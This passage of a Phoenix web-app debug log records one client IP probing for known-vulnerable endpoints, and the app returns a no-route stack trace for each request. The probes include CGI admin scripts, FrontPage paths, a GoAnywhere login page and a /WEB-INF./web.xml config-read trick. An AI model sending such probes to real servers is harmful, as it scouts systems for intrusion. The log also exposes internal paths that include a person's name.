    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:32.025000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52786] GET /cgi-bin/com5.pl
[Thu Sep  3 08:15:32.047000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52786] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/com5.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:33.029000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52790] GET /
[Thu Sep  3 08:15:33.029000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52790] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:15:33.030000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52790] Sent 200 in 1ms
[Thu Sep  3 08:15:39.119000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60768] GET /cgi-bin/admin.pl
[Thu Sep  3 08:15:39.149000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60768] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:40.451000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60770] GET /archiverspaapi/api/product
[Thu Sep  3 08:15:40.478000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60770] ** (Phoenix.Router.NoRouteError) no route found for GET /archiverspaapi/api/product (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:44.365000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60570] GET /WEB-INF./web.xml
[Thu Sep  3 08:15:44.385000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60570] ** (Phoenix.Router.NoRouteError) no route found for GET /WEB-INF./web.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:44.796000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60580] GET /cgi-bin/administrator
[Thu Sep  3 08:15:44.806000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60580] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:47.501000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60586] GET /ews/index.htm
[Thu Sep  3 08:15:47.532000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60586] ** (Phoenix.Router.NoRouteError) no route found for GET /ews/index.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:50.468000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60602] GET /cgi-bin/administrator.cgi
[Thu Sep  3 08:15:50.481000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60602] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:52.849000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60610] GET /_vti_bin/shtml.dll/_vti_rpc
[Thu Sep  3 08:15:52.870000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60610] ** (Phoenix.Router.NoRouteError) no route found for GET /_vti_bin/shtml.dll/_vti_rpc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:53.821000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42180] GET /_vti_bin/fpcount.exe
[Thu Sep  3 08:15:53.837000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42180] ** (Phoenix.Router.NoRouteError) no route found for GET /_vti_bin/fpcount.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:56.151000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42206] GET /cgi-bin/agorn.cgi
[Thu Sep  3 08:15:56.161000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42206] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/agorn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:56.537000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42192] GET /goanywhere/auth/Login.xhtml
[Thu Sep  3 08:15:56.587000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42192] ** (Phoenix.Router.NoRouteError) no route found for GET /goanywhere/auth/Login.xhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:58.206000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:15:59.727000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42216] GET /workflow/servlet/ftpservlet
[Thu Sep  3 08:15:59.749000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42216] ** (Phoenix.Router.NoRouteError) no route found for GET /workflow/servlet/ftpservlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:01.981000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42228] GET /cgi-bin/bugreport.cgi
[Thu Sep  3 08:16:02.025000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42228] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/bugreport.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:09.785000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43422] GET /cgi-bin/cart.cgi
[Thu Sep  3 08:16:09.795000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43422] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/cart.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:10.972000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43432] GET /gui/i18n/messages.en.json
[Thu Sep  3 08:16:10.997000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43432] ** (Phoenix.Router.NoRouteError) no route found for GET /gui/i18n/messages.en.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:11.441000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43446] GET /ng/
[Thu Sep  3 08:16:11.474000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43446] ** (Phoenix.Router.NoRouteError) no route found for GET /ng (DaProductAppWeb.Router)
